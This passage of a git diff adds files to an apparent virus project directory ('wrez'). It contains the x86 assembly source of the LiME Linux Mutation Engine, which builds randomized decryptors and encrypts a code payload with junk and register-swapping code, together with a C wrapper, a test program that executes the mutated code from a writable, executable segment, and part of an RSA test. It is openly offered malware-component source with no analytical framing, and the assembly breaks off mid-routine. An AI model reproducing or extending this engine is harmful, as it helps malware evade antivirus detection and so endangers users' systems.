| 16 | |||
| 17 | if(i==4) { | ||
| 18 | hn(c,v[1]); | ||
| 19 | hn(d,v[2]); | ||
| 20 | hn(m,v[3]); | ||
| 21 | em(c,d,m); | ||
| 22 | nh(s,c); puts(s); | ||
| 23 | exit(EXIT_SUCCESS); | ||
| 24 | } | ||
| 25 | |||
| 26 | if(i!=3) { | ||
| 27 | puts("Usage: mtest [hex_pseed] [hex_qseed]"); | ||
| 28 | exit(EXIT_FAILURE); | ||
| 29 | } | ||
| 30 | |||
| 31 | hn(key.p,v[1]); | ||
| 32 | hn(key.q,v[2]); | ||
| 33 | |||
| 34 | puts("Generating key..."); | ||
| 35 | if(!rsa_gen(&key)) { | ||
| 36 | puts("Failed, try other seed values."); | ||
| 37 | exit(EXIT_FAILURE); | ||
| 38 | } | ||
| 39 | puts("Done, key components: pq,e,d,p,q,dp,dq,qp"); | ||
| 40 | puts(" public components: pq,e"); | ||
| 41 | puts(" private components: d,p,q,dp,dq,qp"); | ||
| 42 | printf("bits = %u\n",key.b); | ||
| 43 | |||
| 44 | nh(s,key.pq); puts(s); | ||
| 45 | nh(s,key.e); puts(s); | ||
| 46 | nh(s,key.d); puts(s); | ||
| 47 | nh(s,key.p); puts(s); | ||
| 48 | nh(s,key.q); puts(s); | ||
| 49 | nh(s,key.dp); puts(s); | ||
| 50 | nh(s,key.dq); puts(s); | ||
| 51 | nh(s,key.qp); puts(s); | ||
| 52 | puts("testing, msg,cip,dec1,dec2"); | ||
| 53 | cl(m); | ||
| 54 | randomize(m, key.b-2); | ||
| 55 | nh(s,m); puts(s); | ||
| 56 | |||
| 57 | memset (&key_pub, 0x00, sizeof (key_pub)); | ||
| 58 | cp (key_pub.pq, key.pq); | ||
| 59 | cp (key_pub.e, key.e); | ||
| 60 | #if 0 | ||
| 61 | memcpy (&key_pub, &key, sizeof (key_pub)); | ||
| 62 | #if 0 | ||
| 63 | cl(key_pub.pq); | ||
| 64 | cl(key_pub.e); | ||
| 65 | #endif | ||
| 66 | cl(key_pub.p); | ||
| 67 | cl(key_pub.q); | ||
| 68 | cl(key_pub.d); | ||
| 69 | cl(key_pub.dp); | ||
| 70 | cl(key_pub.dq); | ||
| 71 | cl(key_pub.qp); | ||
| 72 | #endif | ||
| 73 | cp(c,m); rsa_enc(c,&key_pub); | ||
| 74 | |||
| 75 | nh(s,c); puts(s); | ||
| 76 | #if 0 | ||
| 77 | cp(d,c); em(d,key.d,key.pq); /* slow way */ | ||
| 78 | nh(s,d); puts(s); | ||
| 79 | #endif | ||
| 80 | #if 0 | ||
| 81 | cl(key.p); | ||
| 82 | cl(key.q); | ||
| 83 | cl(key.dp); | ||
| 84 | cl(key.dq); | ||
| 85 | cl(key.qp); | ||
| 86 | |||
| 87 | cl(key.pq); | ||
| 88 | cl(key.e); | ||
| 89 | #endif | ||
| 90 | memset (&key_priv, 0x00, sizeof (key_priv)); | ||
| 91 | cp (key_priv.p, key.p); | ||
| 92 | cp (key_priv.q, key.q); | ||
| 93 | cp (key_priv.dp, key.dp); | ||
| 94 | cp (key_priv.dq, key.dq); | ||
| 95 | cp (key_priv.qp, key.qp); | ||
| 96 | |||
| 97 | cp(d,c); rsa_dec(d,&key_priv); /* faster way */ | ||
| 98 | nh(s,d); puts(s); | ||
| 99 | exit(EXIT_SUCCESS); | ||
| 100 | } | ||
| 101 | |||
diff --git a/other/wrez/lime-interface-test.c b/other/wrez/lime-interface-test.c new file mode 100644 index 0000000..e9ad669 --- /dev/null +++ b/other/wrez/lime-interface-test.c | |||
| @@ -0,0 +1,69 @@ | |||
| 1 | /* small test program for the lime c interface | ||
| 2 | */ | ||
| 3 | |||
| 4 | #include "int80.h" | ||
| 5 | #include "lime-interface.h" | ||
| 6 | |||
| 7 | |||
| 8 | static unsigned long helloworld (void); | ||
| 9 | |||
| 10 | |||
| 11 | int | ||
| 12 | main (int argc, char *argv[]) | ||
| 13 | { | ||
| 14 | void (* code_f)(void); | ||
| 15 | unsigned int code_len; | ||
| 16 | unsigned char code[4096 + 128]; | ||
| 17 | unsigned long addr; | ||
| 18 | int n; | ||
| 19 | |||
| 20 | |||
| 21 | for (n = 0 ; n < sizeof (code) ; ++n) | ||
| 22 | code[n] = 0x00; | ||
| 23 | |||
| 24 | write (2, "plain: ", 6); | ||
| 25 | addr = helloworld (); | ||
| 26 | |||
| 27 | code_len = lime_generate ((void *) addr, | ||
| 28 | 50, | ||
| 29 | &code[0], (unsigned long int) &code[0]); | ||
| 30 | |||
| 31 | write (2, "limed\n", 6); | ||
| 32 | code_f = (void (*)(void)) &code[0]; | ||
| 33 | code_f (); | ||
| 34 | |||
| 35 | return (0); | ||
| 36 | } | ||
| 37 | |||
| 38 | |||
| 39 | static unsigned long | ||
| 40 | helloworld (void) | ||
| 41 | { | ||
| 42 | unsigned long address; | ||
| 43 | |||
| 44 | __asm__ __volatile__ (" | ||
| 45 | .global tlab0 | ||
| 46 | .global tlab3 | ||
| 47 | call tlab4 | ||
| 48 | tlab4: popl %%eax | ||
| 49 | addl $(tlab0 - tlab4), %%eax | ||
| 50 | jmp tlab3 | ||
| 51 | |||
| 52 | tlab0: pushf | ||
| 53 | pusha | ||
| 54 | movl $0x4, %%eax | ||
| 55 | movl $0x2, %%ebx | ||
| 56 | movl $12, %%edx | ||
| 57 | call tlab1 | ||
| 58 | .asciz \"hello world\\n\" | ||
| 59 | tlab1: popl %%ecx | ||
| 60 | int $0x80 | ||
| 61 | tlab2: popa | ||
| 62 | popf | ||
| 63 | ret | ||
| 64 | tlab3: nop" | ||
| 65 | : "=a" (address) : : "%ebx", "%ecx", "%edx"); | ||
| 66 | |||
| 67 | return (address); | ||
| 68 | } | ||
| 69 | |||
diff --git a/other/wrez/lime-interface-test.lds b/other/wrez/lime-interface-test.lds new file mode 100644 index 0000000..135a8d8 --- /dev/null +++ b/other/wrez/lime-interface-test.lds | |||
| @@ -0,0 +1,32 @@ | |||
| 1 | |||
| 2 | OUTPUT_FORMAT("elf32-i386", "elf32-i386", "elf32-i386") | ||
| 3 | OUTPUT_ARCH(i386) | ||
| 4 | |||
| 5 | ENTRY(main) | ||
| 6 | |||
| 7 | PHDRS | ||
| 8 | { | ||
| 9 | text PT_LOAD FILEHDR PHDRS FLAGS (0x0007); /* PF_R | PF_W | PF_X */ | ||
| 10 | data PT_LOAD FLAGS (0x0006); /* PF_R | PF_W */ | ||
| 11 | } | ||
| 12 | |||
| 13 | SECTIONS | ||
| 14 | { | ||
| 15 | . = 0x06660000 ; | ||
| 16 | .text : { | ||
| 17 | lime-interface-test.o(.text) | ||
| 18 | lime-interface.o(.text) | ||
| 19 | lime.o(.text) | ||
| 20 | *(.text) | ||
| 21 | *(.rodata) | ||
| 22 | *(.data) | ||
| 23 | } : text | ||
| 24 | |||
| 25 | /* save calls to objcopy, huh */ | ||
| 26 | /DISCARD/ : { | ||
| 27 | *(.bss) | ||
| 28 | *(.eh_frame) | ||
| 29 | *(.comment) | ||
| 30 | *(.note) | ||
| 31 | } | ||
| 32 | } | ||
diff --git a/other/wrez/lime-interface.c b/other/wrez/lime-interface.c new file mode 100644 index 0000000..c40b416 --- /dev/null +++ b/other/wrez/lime-interface.c | |||
| @@ -0,0 +1,43 @@ | |||
| 1 | /* interface code for the LiME polymorphism engine | ||
| 2 | */ | ||
| 3 | |||
| 4 | #include "lime-interface.h" | ||
| 5 | |||
| 6 | |||
| 7 | /* lime_generate | ||
| 8 | * | ||
| 9 | * generate a new polymorph code from source data at 'source', with a length | ||
| 10 | * of 'source_len' bytes. the decrypter and encrypted data will be put at | ||
| 11 | * 'dest', without any length check (expect no more than 4096 bytes for the | ||
| 12 | * decrypter, so 4096 + source_len will do). 'delta' is the virtual address | ||
| 13 | * the decryptor will be placed, its the virutal address of dest[0]. | ||
| 14 | * `rnd' is a random seed. | ||
| 15 | * | ||
| 16 | * return the number of bytes put at 'dest' | ||
| 17 | */ | ||
| 18 | |||
| 19 | inline unsigned int | ||
| 20 | lime_generate (unsigned char *source, unsigned int source_len, | ||
| 21 | unsigned char *dest, unsigned long int delta, unsigned int rnd) | ||
| 22 | { | ||
| 23 | unsigned int rlen; | ||
| 24 | |||
| 25 | /* FIXME: eax is not random parameter anymore, but does not hurt */ | ||
| 26 | __asm__ __volatile__ (" | ||
| 27 | pushl %%ebp | ||
| 28 | movl 0x14(%%ebp), %%ebp | ||
| 29 | pushf | ||
| 30 | pusha | ||
| 31 | call lime | ||
| 32 | movl %%edx, 0x14(%%esp) | ||
| 33 | popa | ||
| 34 | popf | ||
| 35 | popl %%ebp\n\t" | ||
| 36 | : "=d" (rlen) | ||
| 37 | : "a" (rnd), "b" ((unsigned int) dest), | ||
| 38 | "c" ((unsigned int) source), "d" (source_len)); | ||
| 39 | |||
| 40 | return (rlen); | ||
| 41 | } | ||
| 42 | |||
| 43 | |||
diff --git a/other/wrez/lime-interface.h b/other/wrez/lime-interface.h new file mode 100644 index 0000000..e6f9874 --- /dev/null +++ b/other/wrez/lime-interface.h | |||
| @@ -0,0 +1,11 @@ | |||
| 1 | |||
| 2 | #ifndef LIME_INTERFACE_H | ||
| 3 | #define LIME_INTERFACE_H | ||
| 4 | |||
| 5 | inline unsigned int | ||
| 6 | lime_generate (unsigned char *source, unsigned int source_len, | ||
| 7 | unsigned char *dest, unsigned long int delta, unsigned int rnd); | ||
| 8 | |||
| 9 | #endif | ||
| 10 | |||
| 11 | |||
diff --git a/other/wrez/lime-interface.o b/other/wrez/lime-interface.o new file mode 100644 index 0000000..e446ba0 --- /dev/null +++ b/other/wrez/lime-interface.o | |||
| Binary files differ | |||
diff --git a/other/wrez/lime.asm b/other/wrez/lime.asm new file mode 100644 index 0000000..a36f3a5 --- /dev/null +++ b/other/wrez/lime.asm | |||
| @@ -0,0 +1,1338 @@ | |||
| 1 | |||
| 2 | ; *************************************************************** | ||
| 3 | ; To compile [LiME] under Linux with NASM... Follow as: | ||
| 4 | ; nasm -f elf lime-gen.s | ||
| 5 | ; ld -e main lime-gen.o -o lime-gen | ||
| 6 | ; *************************************************************** | ||
| 7 | |||
| 8 | global lime | ||
| 9 | |||
| 10 | ; *************************************************************** | ||
| 11 | ; Linux Mutation Engine (source code) | ||
| 12 | ; [LiME] Version: 0.2.0 Last update: 2001/02/28 | ||
| 13 | ; Written by zhugejin at Taipei, Taiwan. Date: 2000/10/10 | ||
| 14 | ; E-mail: zhugejin.bbs@bbs.csie.nctu.edu.tw | ||
| 15 | ; WWW: http://cvex.fsn.net | ||
| 16 | ; *************************************************************** | ||
| 17 | |||
| 18 | ; Input: | ||
| 19 | ; EBX = pointer to memory buffer where LiME will store decryptor | ||
| 20 | ; and encrypted data | ||
| 21 | ; ECX = pointer to the data, u want to encrypt | ||
| 22 | ; EDX = size of data, u want to encrypt | ||
| 23 | ; EBP = delta offset | ||
| 24 | ; | ||
| 25 | ; Output: | ||
| 26 | ; ECX = address of decryptor+encrypted data | ||
| 27 | ; EDX = size of decryptor+encrypted data | ||
| 28 | |||
| 29 | LIME_BEGIN: | ||
| 30 | dd LIME_SIZE ; size of [LiME] | ||
| 31 | |||
| 32 | lime_pre_opcod_tab db 10000000b ; add | ||
| 33 | db 10101000b ; sub | ||
| 34 | db 10110000b ; xor | ||
| 35 | db 10000000b ; add | ||
| 36 | |||
| 37 | lime_enc_opcod_tab db 80h,10000000b, 2ah,11000001b ; add/sub | ||
| 38 | db 80h,10101000b, 02h,11000001b ; sub/add | ||
| 39 | db 80h,10110000b, 32h,11000001b ; xor/xor | ||
| 40 | db 82h,10000000b, 2ah,11000001b ; add/sub | ||
| 41 | db 82h,10101000b, 02h,11000001b ; sub/add | ||
| 42 | db 82h,10110000b, 32h,11000001b ; xor/xor | ||
| 43 | db 0c0h,10000000b,0d2h,11001000b ; rol/ror | ||
| 44 | db 0c0h,10001000b,0d2h,11000000b ; ror/rol | ||
| 45 | |||
| 46 | db 0d0h,10000000b,0d0h,11001000b ; rol/ror | ||
| 47 | db 0d0h,10001000b,0d0h,11000000b ; ror/rol | ||
| 48 | db 0f6h,10010000b,0f6h,11010000b ; not/not | ||
| 49 | db 0f6h,10011000b,0f6h,11011000b ; neg/neg | ||
| 50 | db 0feh,10000000b,0feh,11001000b ; inc/dec | ||
| 51 | db 0feh,10001000b,0feh,11000000b ; dec/inc | ||
| 52 | |||
| 53 | db 00h,10000000b, 2ah,11000001b ; add/sub | ||
| 54 | db 28h,10000000b, 02h,11000001b ; sub/add | ||
| 55 | db 30h,10000000b, 32h,11000001b ; xor/xor | ||
| 56 | ;-------------------------------------------- | ||
| 57 | db 10h,10000000b, 1ah,11000001b ; adc/sbb | ||
| 58 | db 18h,10000000b, 12h,11000001b ; sbb/adc | ||
| 59 | |||
| 60 | db 80h,10010000b, 1ah,11000001b ; adc/sbb | ||
| 61 | db 80h,10011000b, 12h,11000001b ; sbb/adc | ||
| 62 | db 82h,10010000b, 1ah,11000001b ; adc/sbb | ||
| 63 | db 82h,10011000b, 12h,11000001b ; sbb/adc | ||
| 64 | |||
| 65 | lime_zero_reg_opcod_tab db 29h,00011000b ; sub reg,reg | ||
| 66 | db 2bh,00011000b ; sub reg,reg | ||
| 67 | db 31h,00011000b ; xor reg,reg | ||
| 68 | db 33h,00011000b ; xor reg,reg | ||
| 69 | lime_init_reg_opcod_tab db 81h,11000000b ; add reg,xxxxxxxx | ||
| 70 | db 81h,11001000b ; or reg,xxxxxxxx | ||
| 71 | db 81h,11110000b ; xor reg,xxxxxxxx | ||
| 72 | db 81h,11000000b ; add reg,xxxxxxxx | ||
| 73 | |||
| 74 | ;----------------------------------------------- | ||
| 75 | ;LIME_make_tsh_cod dd lime_make_tsh_cod | ||
| 76 | ;LIME_make_noflags_cod dd lime_make_noflags_cod | ||
| 77 | ;LIME_set_disp_reg dd lime_set_disp_reg | ||
| 78 | ;LIME_save_edi dd lime_save_edi | ||
| 79 | @ equ $ | ||
| 80 | ;LIME_rnd dd lime_rnd | ||
| 81 | ;LIME_rnd_reg dd lime_rnd_reg | ||
| 82 | ;LIME_rnd_al dd lime_rnd_al | ||
| 83 | ;LIME_rnd_eax_and_al dd lime_rnd_eax_and_al | ||
| 84 | ;LIME_rnd_esi dd lime_rnd_esi | ||
| 85 | ;----------------------------------------------- | ||
| 86 | |||
| 87 | lime_add4_reg_opcod_tab db 11000000b,11000000b,04h,-4h ; add/add | ||
| 88 | db 11000000b,11101000b,-4h,04h ; add/sub | ||
| 89 | db 11101000b,11101000b,-4h,04h ; sub/sub | ||
| 90 | db 11101000b,11000000b,04h,-4h ; sub/add | ||
| 91 | |||
| 92 | lime_mk_mov_cod_addr dw lime_mmc1-@,lime_mmc2-@,lime_mmc3-@ | ||
| 93 | lime_mk_inc_cod_addr dw lime_mic1-@,lime_mic2-@,lime_mic3-@ | ||
| 94 | lime_mk_jxx_cod_addr dw lime_mjc1-@,lime_mjc2-@ | ||
| 95 | |||
| 96 | lime_mk_tsh_cod_addr dw lime_mtc1-@,lime_mtc2-@,lime_mtc3-@,lime_mtc4-@ | ||
| 97 | dw lime_mtc5-@,lime_mtc6-@,lime_mtc7-@,lime_mtc8-@ | ||
| 98 | dw lime_mtc9-@ | ||
| 99 | ; dw lime_simd-@ | ||
| 100 | ; dw lime_3dnow-@ | ||
| 101 | |||
| 102 | jxx_addr dd 0 | ||
| 103 | ret_addr dd 0 | ||
| 104 | pre_addr dd 0 | ||
| 105 | pre_count db 0 | ||
| 106 | |||
| 107 | lime_rnd_val dd 0 | ||
| 108 | |||
| 109 | orig_reg db 0 | ||
| 110 | disp_reg db 0 | ||
| 111 | temp_reg db 0 | ||
| 112 | key_reg db 0 | ||
| 113 | |||
| 114 | ; +------------> make no-flags code | ||
| 115 | ; |+-----------> *reserved* for SIMD Instruction | ||
| 116 | ; ||+----------> *reserved* for 3DNow! Instruction | ||
| 117 | ; ||| +------> xchg disp_reg with orig_reg | ||
| 118 | ; ||| | | ||
| 119 | para_eax db 00000000b ; parameters of LiME | ||
| 120 | para_ebx dd 0 ; address of buffer for new decryptor | ||
| 121 | para_ecx dd 0 ; begin of code to be decrypted | ||
| 122 | para_edx dd 0 ; size of code to be decrypted | ||
| 123 | para_ebp dd 0 ; displacement of decryptor | ||
| 124 | para_esp dd 0 | ||
| 125 | |||
| 126 | ; +--------------------> byte / dword | ||
| 127 | ; |+-------------------> mod := (disp32/disp8) | ||
| 128 | ; ||+------------------> *not used* | ||
| 129 | ; |||+-----------------> *not used* | ||
| 130 | ; ||||+----------------> inc reg / dec reg | ||
| 131 | ; |||||++--------------> *not used* | ||
| 132 | ; |||||||+-------------> clc / stc | ||
| 133 | enc_type dd 00000000b | ||
| 134 | |||
| 135 | adr_ndx dd 0 | ||
| 136 | adr_0 dd 0,0,0,0,0,0,0,0 | ||
| 137 | adr_1 dd 0,0,0,0,0,0,0,0 | ||
| 138 | adr_2 dd 0,0,0,0,0,0,0,0 | ||
| 139 | adr_3 dd 0,0,0,0,0,0,0,0 | ||
| 140 | |||
| 141 | lime_mmx_opcod_tab: | ||
| 142 | db 60h, 61h, 62h, 63h, 64h, 65h, 66h, 67h, 68h, 69h, 6ah, 6bh, 6eh, 6fh | ||
| 143 | db 74h, 75h, 76h, 6eh, 6fh,0d1h,0d2h,0d3h,0d5h,0d8h,0d9h,0dbh,0dch,0ddh | ||
| 144 | db 0dfh,0e1h,0e2h,0e5h,0e8h,0e9h,0ebh,0ech,0edh,0efh,0f1h,0f2h,0f3h,0f5h | ||
| 145 | db 0f8h,0f9h,0fah,0fch,0fdh,0feh | ||
| 146 | |||
| 147 | ; --------------------------------------------------------------- | ||
| 148 | |||
| 149 | lime: | ||
| 150 | pushf | ||
| 151 | cld | ||
| 152 | |||
| 153 | mov edi,ebx | ||
| 154 | |||
| 155 | push ebp | ||
| 156 | call lime_reloc | ||
| 157 | lime_reloc: | ||
| 158 | pop ebp | ||
| 159 | sub ebp,lime_reloc-@ | ||
| 160 | pop dword [ebp-@+para_ebp] | ||
| 161 | mov [ebp-@+para_ebx],ebx | ||
| 162 | mov [ebp-@+para_ecx],ecx | ||
| 163 | mov [ebp-@+para_edx],edx | ||
| 164 | mov [ebp-@+para_esp],esp | ||
| 165 | |||
| 166 | call lime_make_prefix_decrypt ; | ||
| 167 | mov [ebp-@+pre_addr],esp | ||
| 168 | |||
| 169 | mov al,3 | ||
| 170 | call lime_rnd_eax_and_al | ||
| 171 | mov [ebp-@+adr_ndx],eax | ||
| 172 | xchg ecx,eax | ||
| 173 | inc ecx | ||
| 174 | lea esi,[ebp-@+adr_0] | ||
| 175 | lime_make_next_decrypt: | ||
| 176 | call lime_make_decrypt ; | ||
| 177 | ror dword [ebp-@+enc_type],8 | ||
| 178 | loop lime_make_next_decrypt | ||
| 179 | |||
| 180 | call lime_encrypt ; | ||
| 181 | |||
| 182 | mov ecx,[ebp-@+para_ebx] | ||
| 183 | mov edx,edi | ||
| 184 | sub edx,ecx | ||
| 185 | |||
| 186 | mov esp,[ebp-@+para_esp] | ||
| 187 | popf | ||
| 188 | ret | ||
| 189 | |||
| 190 | ; --------------------------------------------------------------- | ||
| 191 | |||
| 192 | lime_make_prefix_decrypt: | ||
| 193 | pop dword [ebp-@+ret_addr] | ||
| 194 | call lime_make_tsh_cod | ||
| 195 | |||
| 196 | mov al,7 | ||
| 197 | call lime_rnd_eax_and_al | ||
| 198 | add al,7 | ||
| 199 | mov [ebp-@+pre_count],al | ||
| 200 | xchg ecx,eax | ||
| 201 | mk_next_prefix_decrypt: | ||
| 202 | call lime_make_tsh_cod | ||
| 203 | call lime_set_disp_reg | ||
| 204 | |||
| 205 | call lime_make_mov_cod | ||
| 206 | push edi ; p0 | ||
| 207 | stosd | ||
| 208 | |||
| 209 | call lime_make_xchg_cod_rnd | ||
| 210 | |||
| 211 | mov al,02h | ||
| 212 | call lime_rnd_eax_and_al | ||
| 213 | add al,81h ; (add/sub/xor) dword [reg+(xxxxxx)xx],xxxxxxxx | ||
| 214 | stosb | ||
| 215 | push eax | ||
| 216 | mov al,03h | ||
| 217 | call lime_rnd_al | ||
| 218 | lea ebx,[ebp-@+lime_pre_opcod_tab] | ||
| 219 | xlatb | ||
| 220 | or al,[ebp-@+disp_reg] | ||
| 221 | stosb | ||
| 222 | pop ebx | ||
| 223 | push edi ; p1 | ||
| 224 | call lime_rnd | ||
| 225 | stosd | ||
| 226 | jp lmpd_a1 | ||
| 227 | xor byte [edi-05h],11000000b | ||
| 228 | sub edi,byte 03h | ||
| 229 | lmpd_a1: | ||
| 230 | call lime_rnd | ||
| 231 | stosd | ||
| 232 | cmp bl,83h | ||
| 233 | jnz lmpd_a2 | ||
| 234 | sub edi,byte 03h | ||
| 235 | lmpd_a2: | ||
| 236 | |||
| 237 | loop mk_next_prefix_decrypt | ||
| 238 | |||
| 239 | call lime_make_tsh_cod | ||
| 240 | push dword [ebp-@+ret_addr] | ||
| 241 | ret | ||
| 242 | |||
| 243 | ; --------------------------------------------------------------- | ||
| 244 | |||
| 245 | lime_make_decrypt: | ||
| 246 | push ecx | ||
| 247 | call lime_make_tsh_cod | ||
| 248 | call lime_set_disp_reg | ||
| 249 | |||
| 250 | ; XXXwrez | ||
| 251 | ; mov al,0cch | ||
| 252 | ; stosb ; *test* | ||
| 253 | |||
| 254 | call lime_make_mov_cod | ||
| 255 | call lime_save_edi ; a0 = disp value | ||
| 256 | stosd | ||
| 257 | |||
| 258 | call lime_make_tsh_cod | ||
| 259 | call lime_rnd | ||
| 260 | and al,11111001b | ||
| 261 | mov [ebp-@+enc_type],al | ||
| 262 | mov bl,al | ||
| 263 | rol al,1 | ||
| 264 | mov ah,al | ||
| 265 | call lime_rnd_reg | ||
| 266 | mov [ebp-@+key_reg],al | ||
| 267 | shl ah,3 | ||
| 268 | or al,ah | ||
| 269 | or al,0b0h ; mov reg,key | ||
| 270 | stosb | ||
| 271 | call lime_rnd | ||
| 272 | mov [esi+4*6],eax ; a7 = key | ||
| 273 | stosd | ||
| 274 | test bl,10000000b | ||
| 275 | jnz lmd_a1 | ||
| 276 | sub edi,byte 03h | ||
| 277 | lmd_a1: | ||
| 278 | call lime_rnd | ||
| 279 | and al,00000010b | ||
| 280 | mov [ebp-@+para_eax],al | ||
| 281 | call lime_make_xchg_cod_rnd | ||
| 282 | |||
| 283 | call lime_save_edi ; a1 = address of loop | ||
| 284 | call lime_make_tsh_cod | ||
| 285 | |||
| 286 | mov al,[ebp-@+disp_reg] | ||
| 287 | mov [ebp-@+orig_reg],al | ||
| 288 | |||
| 289 | push esi | ||
| 290 | lea esi,[ebp-@+lime_enc_opcod_tab] | ||
| 291 | mov al,22 | ||
| 292 | call lime_rnd_esi | ||
| 293 | add esi,eax | ||
| 294 | cmp eax,byte 16*2 | ||
| 295 | pushf | ||
| 296 | lodsd | ||
| 297 | test bl,10000000b | ||
| 298 | jz lmd_a2 | ||
| 299 | or eax,00010001h | ||
| 300 | lmd_a2: | ||
| 301 | popf | ||
| 302 | push eax | ||
| 303 | jbe mk_no_cf | ||
| 304 | mov al,bl | ||
| 305 | ; and al,01h | ||
| 306 | or al,0f8h ; clc / stc | ||
| 307 | stosb | ||
| 308 | call lime_make_noflags_cod | ||
| 309 | mk_no_cf: | ||
| 310 | pop eax | ||
| 311 | pop esi | ||
| 312 | mov bh,bl | ||
| 313 | and bh,01000000b | ||
| 314 | sub ah,bh | ||
| 315 | mov [esi],eax ; a2 = decryptic type | ||
| 316 | add esi,byte 04h | ||
| 317 | or ah,[ebp-@+disp_reg] | ||
| 318 | cmp al,40h | ||
| 319 | jae lmd_a3 | ||
| 320 | mov dh,[ebp-@+key_reg] | ||
| 321 | rol dh,3 | ||
| 322 | or ah,dh | ||
| 323 | lmd_a3: | ||
| 324 | stosw ; (add/sub/xor...) (b/w) [reg+(xxxxxx)xx],key | ||
| 325 | xchg edx,eax | ||
| 326 | call lime_rnd | ||
| 327 | jp lmd_a4 | ||
| 328 | and byte [edi-01h],11111000b | ||
| 329 | or byte [edi-01h],00000100b | ||
| 330 | and al,11000000b | ||
| 331 | or al,00100000b | ||
| 332 | or al,[ebp-@+disp_reg] | ||
| 333 | stosb | ||
| 334 | lmd_a4: | ||
| 335 | call lime_save_edi ; a3 = address of displacement | ||
| 336 | call lime_rnd | ||
| 337 | stosd | ||
| 338 | test bl,01000000b | ||
| 339 | jz lmd_a5 | ||
| 340 | sub edi,byte 03h | ||
| 341 | lmd_a5: | ||
| 342 | cmp dl,0d0h | ||
| 343 | jae mk_no_val | ||
| 344 | cmp dl,40h | ||
| 345 | jb mk_no_val | ||
| 346 | call lime_rnd | ||
| 347 | and al,7fh | ||
| 348 | stosd | ||
| 349 | cmp dl,81h | ||
| 350 | jz lmd_a6 | ||
| 351 | and eax,byte 7fh | ||
| 352 | sub edi,byte 03h | ||
| 353 | lmd_a6: | ||
| 354 | mov [esi+4*3],eax ; a7 = key | ||
| 355 | mk_no_val: | ||
| 356 | |||
| 357 | call lime_make_xchg_cod_rnd | ||
| 358 | call lime_make_inc_cod ; (inc/dec) reg | ||
| 359 | call lime_make_xchg_cod_rnd | ||
| 360 | |||
| 361 | mov ax,0f881h ; cmp reg,xxxxxxxx | ||
| 362 | or ah,[ebp-@+disp_reg] | ||
| 363 | stosw | ||
| 364 | call lime_aox_eax | ||
| 365 | call lime_save_edi ; a4 = address of "cmp reg,xxxxxxxx" | ||
| 366 | stosd | ||
| 367 | |||
| 368 | call lime_make_noflags_cod | ||
| 369 | |||
| 370 | test byte [ebp-@+para_eax],00000010b | ||
| 371 | jz mk_no_xchg | ||
| 372 | mov al,04h | ||
| 373 | call lime_rnd_eax_and_al | ||
| 374 | add al,87h ; xchg orig_reg,disp_reg | ||
| 375 | stosb | ||
| 376 | mov al,[ebp-@+orig_reg] | ||
| 377 | mov ah,al | ||
| 378 | xchg [ebp-@+disp_reg],al | ||
| 379 | dec edi | ||
| 380 | cmp ah,al | ||
| 381 | jz mk_no_xchg | ||
| 382 | inc edi | ||
| 383 | rol ah,3 | ||
| 384 | or al,ah | ||
| 385 | or al,11000000b | ||
| 386 | cmp byte [edi-01h],87h | ||
| 387 | jnz lmd_a7 | ||
| 388 | call lime_xchg_reg | ||
| 389 | lmd_a7: | ||
| 390 | stosb | ||
| 391 | call lime_make_noflags_cod | ||
| 392 | mk_no_xchg: | ||
| 393 | and byte [ebp-@+para_eax],11111101b | ||
| 394 | |||
| 395 | call lime_make_jz_cod ; jxx (xxxxxx)xx | ||
| 396 | call lime_save_edi ; a5 = address of "jxx xx" | ||
| 397 | |||
| 398 | call lime_make_noflags_cod | ||
| 399 | |||
| 400 | mov al,0e9h ; jmp xxxxxxxx | ||
| 401 | stosb | ||
| 402 | mov eax,[esi-5*4] ; address of loop | ||
| 403 | sub eax,edi | ||
| 404 | dec eax | ||
| 405 | cmp eax,byte -80h | ||
| 406 | jae mk_short_jmp | ||
| 407 | sub eax,byte 03h | ||
| 408 | stosd | ||
| 409 | jmp short mk_jmp_end | ||
| 410 | mk_short_jmp: | ||
| 411 | mov byte [edi-01h],0ebh ; jmp xx | ||
| 412 | stosb | ||
| 413 | mk_jmp_end: | ||
| 414 | |||
| 415 | call lime_rnd_trash | ||
| 416 | call lime_save_edi ; a6 | ||
| 417 | |||
| 418 | push esi | ||
| 419 | mov esi,[esi-4*2] ; address of "jxx xx" | ||
| 420 | mov eax,edi | ||
| 421 | sub eax,esi | ||
| 422 | cmp byte [esi-02h],00h | ||
| 423 | jnz mk_jz_a | ||
| 424 | sub esi,byte 03h | ||
| 425 | mk_jz_a: | ||
| 426 | mov [esi-01h],al | ||
| 427 | pop esi | ||
| 428 | add esi,byte 04h | ||
| 429 | |||
| 430 | pop ecx | ||
| 431 | ret | ||
| 432 | |||
| 433 | ; ------------------------------- | ||
| 434 | ; ... | ||
| 435 | ; mov reg,xxxxxxxx <---- a0 | ||
| 436 | ; ... | ||
| 437 | ;a1: | ||
| 438 | ; ... | ||
| 439 | ; xor [eax+xx],key <---- a7 | ||
| 440 | ; ^^^(a2) ^^a3 | ||
| 441 | ; ... | ||
| 442 | ; inc eax | ||
| 443 | ; ... | ||
| 444 | ; cmp eax,xxxxxxxx <---- a4 | ||
| 445 | ; ... | ||
| 446 | ; jz a6 | ||
| 447 | ;a5: | ||
| 448 | ; ... | ||
| 449 | ; jmp a1 | ||
| 450 | ; ... | ||
| 451 | ;a6: | ||
| 452 | ; ------------------------------- | ||
| 453 | |||
| 454 | ; --------------------------------------------------------------- | ||
| 455 | |||
| 456 | lime_encrypt: | ||
| 457 | mov ecx,[ebp-@+para_edx] | ||
| 458 | mov esi,[ebp-@+para_ecx] | ||
| 459 | repz movsb | ||
| 460 | |||
| 461 | push edi | ||
| 462 | calc_disp: | ||
| 463 | rol dword [ebp-@+enc_type],8 | ||
| 464 | mov eax,0aa9090ach | ||
| 465 | test byte [ebp-@+enc_type],10000000b | ||
| 466 | jz le_a1 | ||
| 467 | or eax,01000001h | ||
| 468 | le_a1: | ||
| 469 | mov [ebp-@+enc_buff-01h],eax | ||
| 470 | |||
| 471 | lea esi,[ebp-@+adr_0] | ||
| 472 | imul ebx,[ebp-@+adr_ndx],byte 4*8 | ||
| 473 | lea edx,[esi+ebx] | ||
| 474 | mov eax,edi | ||
| 475 | mov esi,edi | ||
| 476 | sub eax,[edx+4*6] | ||
| 477 | and al,11111100b | ||
| 478 | add eax,byte 04h | ||
| 479 | sub esi,eax | ||
| 480 | mov eax,esi | ||
| 481 | |||
| 482 | sub eax,[ebp-@+para_ebx] | ||
| 483 | add eax,[ebp-@+para_ebp] | ||
| 484 | mov ebx,[edx+4*3] | ||
| 485 | mov ecx,[ebx] | ||
| 486 | test byte [ebp-@+enc_type],01000000b | ||
| 487 | jz le_a2 | ||
